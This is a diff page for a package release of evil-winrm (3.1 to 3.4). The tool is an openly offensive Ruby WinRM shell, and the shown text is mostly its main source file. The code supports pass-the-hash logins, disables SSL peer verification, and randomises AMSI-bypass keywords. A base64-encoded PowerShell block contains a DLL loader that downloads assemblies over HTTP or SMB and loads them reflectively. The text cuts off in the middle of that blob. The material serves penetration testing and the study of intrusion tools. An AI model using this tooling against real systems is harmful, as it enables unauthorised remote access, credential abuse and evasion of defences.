evil-winrm 3.1 → 3.4
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.editorconfig +21 -0
- data/CHANGELOG.md +94 -0
- data/CODE_OF_CONDUCT.md +76 -0
- data/CONTRIBUTING.md +22 -0
- data/Dockerfile +64 -0
- data/Gemfile +3 -0
- data/LICENSE +165 -0
- data/README.md +530 -0
- data/bin/evil-winrm +1 -1
- data/evil-winrm.rb +974 -0
- data/resources/evil-winrm_logo.png +0 -0
- metadata +61 -15
- data/lib/evil-winrm.rb +0 -905
data/evil-winrm.rb
ADDED
@@ -0,0 +1,974 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# -*- encoding : utf-8 -*-
|
3
|
+
# Author: CyberVaca
|
4
|
+
# Twitter: https://twitter.com/CyberVaca_
|
5
|
+
# Based on the Alamot's original code
|
6
|
+
|
7
|
+
# Dependencies
|
8
|
+
require 'winrm'
|
9
|
+
require 'winrm-fs'
|
10
|
+
require 'stringio'
|
11
|
+
require 'base64'
|
12
|
+
require 'readline'
|
13
|
+
require 'optionparser'
|
14
|
+
require 'io/console'
|
15
|
+
require 'time'
|
16
|
+
require 'fileutils'
|
17
|
+
require 'logger'
|
18
|
+
|
19
|
+
# Constants
|
20
|
+
|
21
|
+
# Version
|
22
|
+
VERSION = '3.4'
|
23
|
+
|
24
|
+
# Msg types
|
25
|
+
TYPE_INFO = 0
|
26
|
+
TYPE_ERROR = 1
|
27
|
+
TYPE_WARNING = 2
|
28
|
+
TYPE_DATA = 3
|
29
|
+
TYPE_SUCCESS = 4
|
30
|
+
|
31
|
+
# Global vars
|
32
|
+
|
33
|
+
# Available commands
|
34
|
+
$LIST = ['Bypass-4MSI', 'services', 'upload', 'download', 'menu', 'exit']
|
35
|
+
$COMMANDS = $LIST.dup
|
36
|
+
$CMDS = $COMMANDS.clone
|
37
|
+
$LISTASSEM = [''].sort
|
38
|
+
$DONUTPARAM1 = ['-process_id']
|
39
|
+
$DONUTPARAM2 = ['-donutfile']
|
40
|
+
|
41
|
+
# Colors and path completion
|
42
|
+
$colors_enabled = true
|
43
|
+
$check_rpath_completion = true
|
44
|
+
|
45
|
+
# Path for ps1 scripts and exec files
|
46
|
+
$scripts_path = ""
|
47
|
+
$executables_path = ""
|
48
|
+
|
49
|
+
# Connection vars initialization
|
50
|
+
$host = ""
|
51
|
+
$port = "5985"
|
52
|
+
$user = ""
|
53
|
+
$password = ""
|
54
|
+
$url = "wsman"
|
55
|
+
$default_service = "HTTP"
|
56
|
+
$full_logging_path = ENV["HOME"]+"/evil-winrm-logs"
|
57
|
+
|
58
|
+
# Redefine download method from winrm-fs
|
59
|
+
module WinRM
|
60
|
+
module FS
|
61
|
+
class FileManager
|
62
|
+
def download(remote_path, local_path, chunk_size = 1024 * 1024, first = true, size: -1)
|
63
|
+
@logger.debug("downloading: #{remote_path} -> #{local_path} #{chunk_size}")
|
64
|
+
index = 0
|
65
|
+
output = _output_from_file(remote_path, chunk_size, index)
|
66
|
+
return download_dir(remote_path, local_path, chunk_size, first) if output.exitcode == 2
|
67
|
+
|
68
|
+
return false if output.exitcode >= 1
|
69
|
+
|
70
|
+
File.open(local_path, 'wb') do |fd|
|
71
|
+
out = _write_file(fd, output)
|
72
|
+
index += out.length
|
73
|
+
until out.empty?
|
74
|
+
if size != -1
|
75
|
+
yield index, size
|
76
|
+
end
|
77
|
+
output = _output_from_file(remote_path, chunk_size, index)
|
78
|
+
return false if output.exitcode >= 1
|
79
|
+
|
80
|
+
out = _write_file(fd, output)
|
81
|
+
index += out.length
|
82
|
+
end
|
83
|
+
end
|
84
|
+
end
|
85
|
+
|
86
|
+
true
|
87
|
+
end
|
88
|
+
end
|
89
|
+
end
|
90
|
+
|
91
|
+
# Class creation
|
92
|
+
class EvilWinRM
|
93
|
+
|
94
|
+
# Initialization
|
95
|
+
def initialize()
|
96
|
+
@directories = Hash.new
|
97
|
+
@cache_ttl = 10
|
98
|
+
@executables = Array.new
|
99
|
+
@functions = Array.new
|
100
|
+
@Bypass_4MSI_loaded = false
|
101
|
+
@blank_line = false
|
102
|
+
@bypass_amsi_words_random_case = [
|
103
|
+
"[Runtime.InteropServices.Marshal]",
|
104
|
+
"function ",
|
105
|
+
"WriteByte",
|
106
|
+
"[Ref]",
|
107
|
+
"Assembly.GetType",
|
108
|
+
"GetField",
|
109
|
+
"[System.Net.WebUtility]",
|
110
|
+
"HtmlDecode",
|
111
|
+
"Reflection.BindingFlags",
|
112
|
+
"NonPublic",
|
113
|
+
"Static",
|
114
|
+
"GetValue",
|
115
|
+
]
|
116
|
+
end
|
117
|
+
|
118
|
+
# Remote path completion compatibility check
|
119
|
+
def completion_check()
|
120
|
+
if $check_rpath_completion == true then
|
121
|
+
begin
|
122
|
+
Readline.quoting_detection_proc
|
123
|
+
@completion_enabled = true
|
124
|
+
rescue NotImplementedError, NoMethodError => err
|
125
|
+
@completion_enabled = false
|
126
|
+
self.print_message("Remote path completions is disabled due to ruby limitation: #{err.to_s}", TYPE_WARNING)
|
127
|
+
self.print_message("For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion", TYPE_DATA)
|
128
|
+
end
|
129
|
+
else
|
130
|
+
@completion_enabled = false
|
131
|
+
self.print_message("Remote path completion is disabled", TYPE_WARNING)
|
132
|
+
end
|
133
|
+
|
134
|
+
end
|
135
|
+
|
136
|
+
# Arguments
|
137
|
+
def arguments()
|
138
|
+
options = { port:$port, url:$url, service:$service }
|
139
|
+
optparse = OptionParser.new do |opts|
|
140
|
+
opts.banner = "Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]"
|
141
|
+
opts.on("-S", "--ssl", "Enable ssl") do |val|
|
142
|
+
$ssl = true
|
143
|
+
options[:port] = "5986"
|
144
|
+
end
|
145
|
+
opts.on("-c", "--pub-key PUBLIC_KEY_PATH", "Local path to public key certificate") { |val| options[:pub_key] = val }
|
146
|
+
opts.on("-k", "--priv-key PRIVATE_KEY_PATH", "Local path to private key certificate") { |val| options[:priv_key] = val }
|
147
|
+
opts.on("-r", "--realm DOMAIN", "Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }") { |val| options[:realm] = val.upcase }
|
148
|
+
opts.on("-s", "--scripts PS_SCRIPTS_PATH", "Powershell scripts local path") { |val| options[:scripts] = val }
|
149
|
+
opts.on("--spn SPN_PREFIX", "SPN prefix for Kerberos auth (default HTTP)") { |val| options[:service] = val }
|
150
|
+
opts.on("-e", "--executables EXES_PATH", "C# executables local path") { |val| options[:executables] = val }
|
151
|
+
opts.on("-i", "--ip IP", "Remote host IP or hostname. FQDN for Kerberos auth (required)") { |val| options[:ip] = val }
|
152
|
+
opts.on("-U", "--url URL", "Remote url endpoint (default /wsman)") { |val| options[:url] = val }
|
153
|
+
opts.on("-u", "--user USER", "Username (required if not using kerberos)") { |val| options[:user] = val }
|
154
|
+
opts.on("-p", "--password PASS", "Password") { |val| options[:password] = val }
|
155
|
+
opts.on("-H", "--hash HASH", "NTHash") do |val|
|
156
|
+
if !options[:password].nil? and !val.nil?
|
157
|
+
self.print_header()
|
158
|
+
self.print_message("You must choose either password or hash auth. Both at the same time are not allowed", TYPE_ERROR)
|
159
|
+
self.custom_exit(1, false)
|
160
|
+
end
|
161
|
+
if !val.match /^[a-fA-F0-9]{32}$/
|
162
|
+
self.print_header()
|
163
|
+
self.print_message("Invalid hash format", TYPE_ERROR)
|
164
|
+
self.custom_exit(1, false)
|
165
|
+
end
|
166
|
+
options[:password] = "00000000000000000000000000000000:#{val}"
|
167
|
+
end
|
168
|
+
opts.on("-P", "--port PORT", "Remote host port (default 5985)") { |val| options[:port] = val }
|
169
|
+
opts.on("-V", "--version", "Show version") do |val|
|
170
|
+
puts("v#{VERSION}")
|
171
|
+
self.custom_exit(0, false)
|
172
|
+
end
|
173
|
+
opts.on("-n", "--no-colors", "Disable colors") do |val|
|
174
|
+
$colors_enabled = false
|
175
|
+
end
|
176
|
+
opts.on("-N", "--no-rpath-completion", "Disable remote path completion") do |val|
|
177
|
+
$check_rpath_completion = false
|
178
|
+
end
|
179
|
+
opts.on("-l","--log","Log the WinRM session") do|val|
|
180
|
+
$log = true
|
181
|
+
$filepath = ""
|
182
|
+
$logfile = ""
|
183
|
+
$logger = ""
|
184
|
+
end
|
185
|
+
opts.on("-h", "--help", "Display this help message") do
|
186
|
+
self.print_header()
|
187
|
+
puts(opts)
|
188
|
+
puts()
|
189
|
+
self.custom_exit(0, false)
|
190
|
+
end
|
191
|
+
end
|
192
|
+
|
193
|
+
begin
|
194
|
+
optparse.parse!
|
195
|
+
if options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil? then
|
196
|
+
mandatory = [:ip, :user]
|
197
|
+
else
|
198
|
+
mandatory = [:ip]
|
199
|
+
end
|
200
|
+
missing = mandatory.select{ |param| options[param].nil? }
|
201
|
+
unless missing.empty?
|
202
|
+
raise OptionParser::MissingArgument.new(missing.join(', '))
|
203
|
+
end
|
204
|
+
rescue OptionParser::InvalidOption, OptionParser::MissingArgument
|
205
|
+
self.print_header()
|
206
|
+
self.print_message($!.to_s, TYPE_ERROR, true, $logger)
|
207
|
+
puts(optparse)
|
208
|
+
puts()
|
209
|
+
custom_exit(1, false)
|
210
|
+
end
|
211
|
+
|
212
|
+
if options[:password].nil? and options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil?
|
213
|
+
options[:password] = STDIN.getpass(prompt='Enter Password: ')
|
214
|
+
end
|
215
|
+
|
216
|
+
$host = options[:ip]
|
217
|
+
$user = options[:user]
|
218
|
+
$password = options[:password]
|
219
|
+
$port = options[:port]
|
220
|
+
$scripts_path = options[:scripts]
|
221
|
+
$executables_path = options[:executables]
|
222
|
+
$url = options[:url]
|
223
|
+
$pub_key = options[:pub_key]
|
224
|
+
$priv_key = options[:priv_key]
|
225
|
+
$realm = options[:realm]
|
226
|
+
$service = options[:service]
|
227
|
+
if !$log.nil? then
|
228
|
+
if !Dir.exists?($full_logging_path)
|
229
|
+
Dir.mkdir $full_logging_path
|
230
|
+
end
|
231
|
+
if !Dir.exists?($full_logging_path + "/" + Time.now.strftime("%Y%d%m"))
|
232
|
+
Dir.mkdir $full_logging_path + "/" + Time.now.strftime("%Y%d%m")
|
233
|
+
end
|
234
|
+
if !Dir.exists?($full_logging_path + "/" + Time.now.strftime("%Y%d%m") + "/" + $host)
|
235
|
+
Dir.mkdir $full_logging_path+ "/" + Time.now.strftime("%Y%d%m") + "/" + $host
|
236
|
+
end
|
237
|
+
$filepath = $full_logging_path + "/" + Time.now.strftime("%Y%d%m") + "/" + $host + "/" + Time.now.strftime("%H%M%S")
|
238
|
+
$logger = Logger.new($filepath)
|
239
|
+
$logger.formatter = proc do |severity, datetime, progname, msg|
|
240
|
+
"#{datetime}: #{msg}\n"
|
241
|
+
end
|
242
|
+
end
|
243
|
+
if !$realm.nil? then
|
244
|
+
if $service.nil? then
|
245
|
+
$service = $default_service
|
246
|
+
end
|
247
|
+
end
|
248
|
+
end
|
249
|
+
|
250
|
+
# Print script header
|
251
|
+
def print_header()
|
252
|
+
puts()
|
253
|
+
self.print_message("Evil-WinRM shell v#{VERSION}", TYPE_INFO, false)
|
254
|
+
end
|
255
|
+
|
256
|
+
# Generate connection object
|
257
|
+
def connection_initialization()
|
258
|
+
if $ssl then
|
259
|
+
if $pub_key and $priv_key then
|
260
|
+
$conn = WinRM::Connection.new(
|
261
|
+
endpoint: "https://#{$host}:#{$port}/#{$url}",
|
262
|
+
user: $user,
|
263
|
+
password: $password,
|
264
|
+
:no_ssl_peer_verification => true,
|
265
|
+
transport: :ssl,
|
266
|
+
client_cert: $pub_key,
|
267
|
+
client_key: $priv_key,
|
268
|
+
)
|
269
|
+
else
|
270
|
+
$conn = WinRM::Connection.new(
|
271
|
+
endpoint: "https://#{$host}:#{$port}/#{$url}",
|
272
|
+
user: $user,
|
273
|
+
password: $password,
|
274
|
+
:no_ssl_peer_verification => true,
|
275
|
+
transport: :ssl
|
276
|
+
)
|
277
|
+
end
|
278
|
+
|
279
|
+
elsif !$realm.nil? then
|
280
|
+
$conn = WinRM::Connection.new(
|
281
|
+
endpoint: "http://#{$host}:#{$port}/#{$url}",
|
282
|
+
user: "",
|
283
|
+
password: "",
|
284
|
+
transport: :kerberos,
|
285
|
+
realm: $realm,
|
286
|
+
service: $service
|
287
|
+
)
|
288
|
+
else
|
289
|
+
$conn = WinRM::Connection.new(
|
290
|
+
endpoint: "http://#{$host}:#{$port}/#{$url}",
|
291
|
+
user: $user,
|
292
|
+
password: $password,
|
293
|
+
:no_ssl_peer_verification => true
|
294
|
+
)
|
295
|
+
end
|
296
|
+
end
|
297
|
+
|
298
|
+
# Detect if a docker environment
|
299
|
+
def docker_detection()
|
300
|
+
if File.exist?("/.dockerenv") then
|
301
|
+
return true
|
302
|
+
else
|
303
|
+
return false
|
304
|
+
end
|
305
|
+
end
|
306
|
+
|
307
|
+
# Define colors
|
308
|
+
def colorize(text, color = "default")
|
309
|
+
colors = {"default" => "38", "blue" => "34", "red" => "31", "yellow" => "1;33", "magenta" => "35", "green" => "1;32"}
|
310
|
+
color_code = colors[color]
|
311
|
+
return "\001\033[0;#{color_code}m\002#{text}\001\033[0m\002"
|
312
|
+
end
|
313
|
+
|
314
|
+
# Messsage printing
|
315
|
+
def print_message(msg, msg_type=TYPE_INFO, prefix_print=true, log=nil)
|
316
|
+
if msg_type == TYPE_INFO then
|
317
|
+
msg_prefix = "Info: "
|
318
|
+
color = "blue"
|
319
|
+
elsif msg_type == TYPE_WARNING then
|
320
|
+
msg_prefix = "Warning: "
|
321
|
+
color = "yellow"
|
322
|
+
elsif msg_type == TYPE_ERROR then
|
323
|
+
msg_prefix = "Error: "
|
324
|
+
color = "red"
|
325
|
+
elsif msg_type == TYPE_DATA then
|
326
|
+
msg_prefix = "Data: "
|
327
|
+
color = 'magenta'
|
328
|
+
elsif msg_type == TYPE_SUCCESS then
|
329
|
+
color = 'green'
|
330
|
+
else
|
331
|
+
msg_prefix = ""
|
332
|
+
color = "default"
|
333
|
+
end
|
334
|
+
|
335
|
+
if !prefix_print then
|
336
|
+
msg_prefix = ""
|
337
|
+
end
|
338
|
+
if $colors_enabled then
|
339
|
+
puts(self.colorize("#{msg_prefix}#{msg}", color))
|
340
|
+
else
|
341
|
+
puts("#{msg_prefix}#{msg}")
|
342
|
+
end
|
343
|
+
|
344
|
+
if !log.nil?
|
345
|
+
log.info("#{msg_prefix}#{msg}")
|
346
|
+
end
|
347
|
+
puts()
|
348
|
+
end
|
349
|
+
|
350
|
+
# Certificates validation
|
351
|
+
def check_certs(pub_key, priv_key)
|
352
|
+
if !File.file?(pub_key) then
|
353
|
+
self.print_message("Path to provided public certificate file \"#{pub_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger)
|
354
|
+
self.custom_exit(1)
|
355
|
+
end
|
356
|
+
|
357
|
+
if !File.file?($priv_key) then
|
358
|
+
self.print_message("Path to provided private certificate file \"#{priv_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger)
|
359
|
+
self.custom_exit(1)
|
360
|
+
end
|
361
|
+
end
|
362
|
+
|
363
|
+
# Directories validation
|
364
|
+
def check_directories(path, purpose)
|
365
|
+
if path == "" then
|
366
|
+
self.print_message("The directory used for #{purpose} can't be empty. Please set a path", TYPE_ERROR, true, $logger)
|
367
|
+
self.custom_exit(1)
|
368
|
+
end
|
369
|
+
|
370
|
+
if !(/cygwin|mswin|mingw|bccwin|wince|emx/ =~ RUBY_PLATFORM).nil? then
|
371
|
+
# Windows
|
372
|
+
if path[-1] != "\\" then
|
373
|
+
path.concat("\\")
|
374
|
+
end
|
375
|
+
else
|
376
|
+
# Unix
|
377
|
+
if path[-1] != "/" then
|
378
|
+
path.concat("/")
|
379
|
+
end
|
380
|
+
end
|
381
|
+
|
382
|
+
if !File.directory?(path) then
|
383
|
+
self.print_message("The directory \"#{path}\" used for #{purpose} was not found", TYPE_ERROR, true, $logger)
|
384
|
+
self.custom_exit(1)
|
385
|
+
end
|
386
|
+
|
387
|
+
if purpose == "scripts" then
|
388
|
+
$scripts_path = path
|
389
|
+
elsif purpose == "executables" then
|
390
|
+
$executables_path = path
|
391
|
+
end
|
392
|
+
end
|
393
|
+
|
394
|
+
# Silent warnings
|
395
|
+
def silent_warnings
|
396
|
+
old_stderr = $stderr
|
397
|
+
$stderr = StringIO.new
|
398
|
+
yield
|
399
|
+
ensure
|
400
|
+
$stderr = old_stderr
|
401
|
+
end
|
402
|
+
|
403
|
+
# Read powershell script files
|
404
|
+
def read_scripts(scripts)
|
405
|
+
files = Dir.entries(scripts).select{ |f| File.file? File.join(scripts, f) } || []
|
406
|
+
return files.grep(/^*\.(ps1|psd1|psm1)$/)
|
407
|
+
end
|
408
|
+
|
409
|
+
# Read executable files
|
410
|
+
def read_executables(executables)
|
411
|
+
files = Dir.glob("#{executables}*.exe", File::FNM_DOTMATCH)
|
412
|
+
return files
|
413
|
+
end
|
414
|
+
|
415
|
+
# Read local files and directories names
|
416
|
+
def paths(a_path)
|
417
|
+
parts = self.get_dir_parts(a_path)
|
418
|
+
my_dir = parts[0]
|
419
|
+
grep_for = parts[1]
|
420
|
+
|
421
|
+
my_dir = File.expand_path(my_dir)
|
422
|
+
my_dir = my_dir + "/" unless my_dir[-1] == '/'
|
423
|
+
|
424
|
+
files = Dir.glob("#{my_dir}*", File::FNM_DOTMATCH)
|
425
|
+
directories = Dir.glob("#{my_dir}*").select {|f| File.directory? f}
|
426
|
+
|
427
|
+
result = files + directories || []
|
428
|
+
|
429
|
+
result.grep( /^#{Regexp.escape(my_dir)}#{grep_for}/i ).uniq
|
430
|
+
end
|
431
|
+
|
432
|
+
# Custom exit
|
433
|
+
def custom_exit(exit_code = 0, message_print=true)
|
434
|
+
if message_print then
|
435
|
+
if exit_code == 0 then
|
436
|
+
puts()
|
437
|
+
self.print_message("Exiting with code #{exit_code.to_s}", TYPE_INFO, true, $logger)
|
438
|
+
elsif exit_code == 1 then
|
439
|
+
self.print_message("Exiting with code #{exit_code.to_s}", TYPE_ERROR, true, $logger)
|
440
|
+
elsif exit_code == 130 then
|
441
|
+
puts()
|
442
|
+
self.print_message("Exiting...", TYPE_INFO, true, $logger)
|
443
|
+
else
|
444
|
+
self.print_message("Exiting with code #{exit_code.to_s}", TYPE_ERROR, true, $logger)
|
445
|
+
end
|
446
|
+
end
|
447
|
+
exit(exit_code)
|
448
|
+
end
|
449
|
+
|
450
|
+
# Progress bar
|
451
|
+
def progress_bar(bytes_done, total_bytes)
|
452
|
+
progress = ((bytes_done.to_f / total_bytes.to_f) * 100).round
|
453
|
+
progress_bar = (progress / 10).round
|
454
|
+
progress_string = "▓" * (progress_bar-1).clamp(0,9)
|
455
|
+
progress_string = progress_string + "▒" + ("░" * (10-progress_bar))
|
456
|
+
message = "Progress: #{progress}% : |#{progress_string}| \r"
|
457
|
+
print message
|
458
|
+
end
|
459
|
+
|
460
|
+
# Get filesize
|
461
|
+
def filesize(shell, path)
|
462
|
+
size = shell.run("(get-item '#{path}').length").output.strip.to_i
|
463
|
+
return size
|
464
|
+
end
|
465
|
+
|
466
|
+
# Main function
|
467
|
+
def main
|
468
|
+
self.arguments()
|
469
|
+
self.connection_initialization()
|
470
|
+
file_manager = WinRM::FS::FileManager.new($conn)
|
471
|
+
self.print_header()
|
472
|
+
self.completion_check()
|
473
|
+
|
474
|
+
# Log check
|
475
|
+
if !$log.nil? then
|
476
|
+
self.print_message("Logging Enabled. Log file: #{$filepath}", TYPE_WARNING, true)
|
477
|
+
end
|
478
|
+
|
479
|
+
# SSL checks
|
480
|
+
if !$ssl and ($pub_key or $priv_key) then
|
481
|
+
self.print_message("Useless cert/s provided, SSL is not enabled", TYPE_WARNING, true, $logger)
|
482
|
+
elsif $ssl
|
483
|
+
self.print_message("SSL enabled", TYPE_WARNING)
|
484
|
+
end
|
485
|
+
|
486
|
+
if $ssl and ($pub_key or $priv_key) then
|
487
|
+
self.check_certs($pub_key, $priv_key)
|
488
|
+
end
|
489
|
+
|
490
|
+
# Kerberos checks
|
491
|
+
if !$user.nil? and !$realm.nil?
|
492
|
+
self.print_message("User is not needed for Kerberos auth. Ticket will be used", TYPE_WARNING, true, $logger)
|
493
|
+
end
|
494
|
+
|
495
|
+
if !$password.nil? and !$realm.nil?
|
496
|
+
self.print_message("Password is not needed for Kerberos auth. Ticket will be used", TYPE_WARNING, true, $logger)
|
497
|
+
end
|
498
|
+
|
499
|
+
if $realm.nil? and !$service.nil? then
|
500
|
+
self.print_message("Useless spn provided, only used for Kerberos auth", TYPE_WARNING, true, $logger)
|
501
|
+
end
|
502
|
+
|
503
|
+
if !$scripts_path.nil? then
|
504
|
+
self.check_directories($scripts_path, "scripts")
|
505
|
+
@functions = self.read_scripts($scripts_path)
|
506
|
+
self.silent_warnings do
|
507
|
+
$LIST = $LIST + @functions
|
508
|
+
end
|
509
|
+
end
|
510
|
+
|
511
|
+
if !$executables_path.nil? then
|
512
|
+
self.check_directories($executables_path, "executables")
|
513
|
+
@executables = self.read_executables($executables_path)
|
514
|
+
end
|
515
|
+
menu = Base64.decode64("JG1lbnUgPSBAIgoKICAgLC4gICAoICAgLiAgICAgICkgICAgICAgICAgICAgICAiICAgICAgICAgICAgLC4gICAoICAgLiAgICAgICkgICAgICAgLiAgIAogICgiICAoICApICApJyAgICAgLCcgICAgICAgICAgICAgKGAgICAgICdgICAgICgiICAgICApICApJyAgICAgLCcgICAuICAsKSAgCi47ICkgICcgKCggKCIgKSAgICA7KCwgICAgICAuICAgICA7KSAgIiAgKSIgIC47ICkgICcgKCggKCIgKSAgICk7KCwgICApKCggICAKXyIuLF8sLl9fKS4sKSAoLi5fKCAuXyksICAgICApICAsICguXy4uKCAnLi5fIi5fLCAuICcuXylfKC4uLF8oXyIuKSBfKCBfJykgIApcXyAgIF9fX19fL19fICBffF9ffCAgfCAgICAoKCAgKCAgLyAgXCAgICAvICBcX198IF9fX19cX19fX19fICAgXCAgLyAgICAgXCAgCiB8ICAgIF9fKV9cICBcLyAvICB8ICB8ICAgIDtfKV8nKSBcICAgXC9cLyAgIC8gIHwvICAgIFx8ICAgICAgIF8vIC8gIFwgLyAgXCAKIHwgICAgICAgIFxcICAgL3wgIHwgIHxfXyAvX19fX18vICBcICAgICAgICAvfCAgfCAgIHwgIFwgICAgfCAgIFwvICAgIFkgICAgXAovX19fX19fXyAgLyBcXy8gfF9ffF9fX18vICAgICAgICAgICBcX18vXCAgLyB8X198X19ffCAgL19fX198XyAgL1xfX19ffF9fICAvCiAgICAgICAgXC8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICAgICAgXC8gICAgICAgXC8gICAgICAgICBcLwoKICAgICAgIEJ5OiBDeWJlclZhY2EsIE9zY2FyQWthRWx2aXMsIEphcmlsYW9zLCBBcmFsZTYxIEBIYWNrcGxheWVycwoiQAoKaWYgKCRmdW5jaW9uZXNfcHJldmlhcy5jb3VudCAtbGUgMSkgeyRmdW5jaW9uZXNfcHJldmlhcyA9IChscyBmdW5jdGlvbjopLk5hbWV9CmZ1bmN0aW9uIG1lbnUgewpbYXJyYXldJGZ1bmNpb25lc19udWV2YXMgPSAobHMgZnVuY3Rpb246IHwgV2hlcmUtT2JqZWN0IHsoJF8ubmFtZSkuTGVuZ3RoIC1nZSAiNCIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJDbGVhci1Ib3N0KiIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJDb252ZXJ0RnJvbS1TZGRsU3RyaW5nKiIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJGb3JtYXQtSGV4KiIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJHZXQtRmlsZUhhc2gqIiAtYW5kICRfLm5hbWUgLW5vdGxpa2UgIkdldC1WZXJiKiIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJoZWxwIiAtYW5kICRfLm5hbWUgLW5vdGxpa2UgIkltcG9ydC1Qb3dlclNoZWxsRGF0YUZpbGUqIiAtYW5kICRfLm5hbWUgLW5vdGxpa2UgIkltcG9ydFN5c3RlbU1vZHVsZXMqIiAtYW5kICRfLm5hbWUgLW5lICJNYWluIiAtYW5kICRfLm5hbWUgLW5lICJta2RpciIgLWFuZCAkXy5uYW1lIC1uZSAiY2QuLiIgLWFuZCAkXy5uYW1lIC1uZSAibWtkaXIiIC1hbmQgJF8ubmFtZSAtbmUgIm1vcmUiIC1hbmQgJF8ubmFtZSAtbm90bGlrZSAiTmV3LUd1aWQqIiAtYW5kICRfLm5hbWUgLW5vdGxpa2UgIk5ldy1UZW1wb3JhcnlGaWxlKiIgLWFuZCAkXy5uYW1lIC1uZSAiUGF1c2UiIC1hbmQgJF8ubmFtZSAtbm90bGlrZSAiVGFiRXhwYW5zaW9uMioiIC1hbmQgJF8ubmFtZSAtbmUgInByb21wdCIgLWFuZCAkXy5uYW1lIC1uZSAibWVudSIgLWFuZCAkXy5uYW1lIC1uZSAiYXV0byIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJzaG93LW1ldGhvZHMtbG9hZGVkKiIgfSB8IHNlbGVjdC1vYmplY3QgbmFtZSApLm5hbWUKJG11ZXN0cmFfZnVuY2lvbmVzID0gKCRmdW5jaW9uZXNfbnVldmFzIHwgd2hlcmUgeyRmdW5jaW9uZXNfcHJlY2FyZ2FkYXMgLW5vdGNvbnRhaW5zICRffSkgfCBmb3JlYWNoIHsiYG5bK10gJF8ifQokbXVlc3RyYV9mdW5jaW9uZXMgPSAkbXVlc3RyYV9mdW5jaW9uZXMgLXJlcGxhY2UgIiAgIiwiIiAKJG1lbnUgPSAkbWVudSArICRtdWVzdHJhX2Z1bmNpb25lcyArICJgbiIKJG1lbnUgPSAkbWVudSAtcmVwbGFjZSAiIFsrXSIsIlsrXSIKV3JpdGUtSG9zdCAkbWVudQoKfQoKZnVuY3Rpb24gRGxsLUxvYWRlciB7CiAgICBwYXJhbShbc3dpdGNoXSRzbWIsIFtzd2l0Y2hdJGxvY2FsLCBbc3dpdGNoXSRodHRwLCBbc3RyaW5nXSRwYXRoKQoKICAgICRoZWxwPUAiCi5TWU5PUFNJUwogICAgZGxsIGxvYWRlci4KICAgIFBvd2VyU2hlbGwgRnVuY3Rpb246IERsbC1Mb2FkZXIKICAgIEF1dGhvcjogSGVjdG9yIGRlIEFybWFzICgzdjRTaTBOKQoKICAgIFJlcXVpcmVkIGRlcGVuZGVuY2llczogTm9uZQogICAgT3B0aW9uYWwgZGVwZW5kZW5jaWVzOiBOb25lCi5ERVNDUklQVElPTgogICAgLgouRVhBTVBMRQogICAgRGxsLUxvYWRlciAtc21iIC1wYXRoIFxcMTkyLjE2OC4xMzkuMTMyXFxzaGFyZVxcbXlEbGwuZGxsCiAgICBEbGwtTG9hZGVyIC1sb2NhbCAtcGF0aCBDOlxVc2Vyc1xQZXBpdG9cRGVza3RvcFxteURsbC5kbGwKICAgIERsbC1Mb2FkZXIgLWh0dHAgLXBhdGggaHR0cDovL2V4YW1wbGUuY29tL215RGxsLmRsbAoKICAgIERlc2NyaXB0aW9uCiAgICAtLS0tLS0tLS0tLQogICAgRnVuY3Rpb24gdGhhdCBsb2FkcyBhbiBhcmJpdHJhcnkgZGxsCiJACgogICAgaWYgKCgkc21iIC1lcSAkZmFsc2UgLWFuZCAkbG9jYWwgLWVxICRmYWxzZSAtYW5kICRodHRwIC1lcSAkZmFsc2UpIC1vciAoJHBhdGggLWVxICIiIC1vciAkcGF0aCAtZXEgJG51bGwpKQogICAgewogICAgICAgIHdyaXRlLWhvc3QgIiRoZWxwYG4iCiAgICB9CiAgICBlbHNlCiAgICB7CgogICAgICAgIGlmICgkaHR0cCkKICAgICAgICB7CiAgICAgICAgICAgIFdyaXRlLUhvc3QgIlsrXSBSZWFkaW5nIGRsbCBieSBIVFRQIgogICAgICAgICAgICAkd2ViY2xpZW50ID0gW05ldC5XZWJDbGllbnRdOjpuZXcoKQogICAgICAgICAgICAkZGxsID0gJHdlYmNsaWVudC5Eb3dubG9hZERhdGEoJHBhdGgpCiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGlmKCRzbWIpeyBXcml0ZS1Ib3N0ICJbK10gUmVhZGluZyBkbGwgYnkgU01CIiB9CiAgICAgICAgICAgIGVsc2UgeyBXcml0ZS1Ib3N0ICJbK10gUmVhZGluZyBkbGwgbG9jYWxseSIgfQoKICAgICAgICAgICAgJGRsbCA9IFtTeXN0ZW0uSU8uRmlsZV06OlJlYWRBbGxCeXRlcygkcGF0aCkKICAgICAgICB9CiAgICAgICAgCgogICAgICAgIGlmICgkZGxsIC1uZSAkbnVsbCkKICAgICAgICB7CiAgICAgICAgICAgIFdyaXRlLUhvc3QgIlsrXSBMb2FkaW5nIGRsbC4uLiIKICAgICAgICAgICAgJGFzc2VtYmx5X2xvYWRlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGRsbCkKICAgICAgICAgICAgJG9iaiA9ICgoJGFzc2VtYmx5X2xvYWRlZC5HZXRFeHBvcnRlZFR5cGVzKCkgfCBTZWxlY3QtT2JqZWN0IERlY2xhcmVkTWV0aG9kcyApLkRlY2xhcmVkTWV0aG9kcyB8IFdoZXJlLU9iamVjdCB7JF8uaXNwdWJsaWMgLWVxICR0cnVlfSB8IFNlbGVjdC1P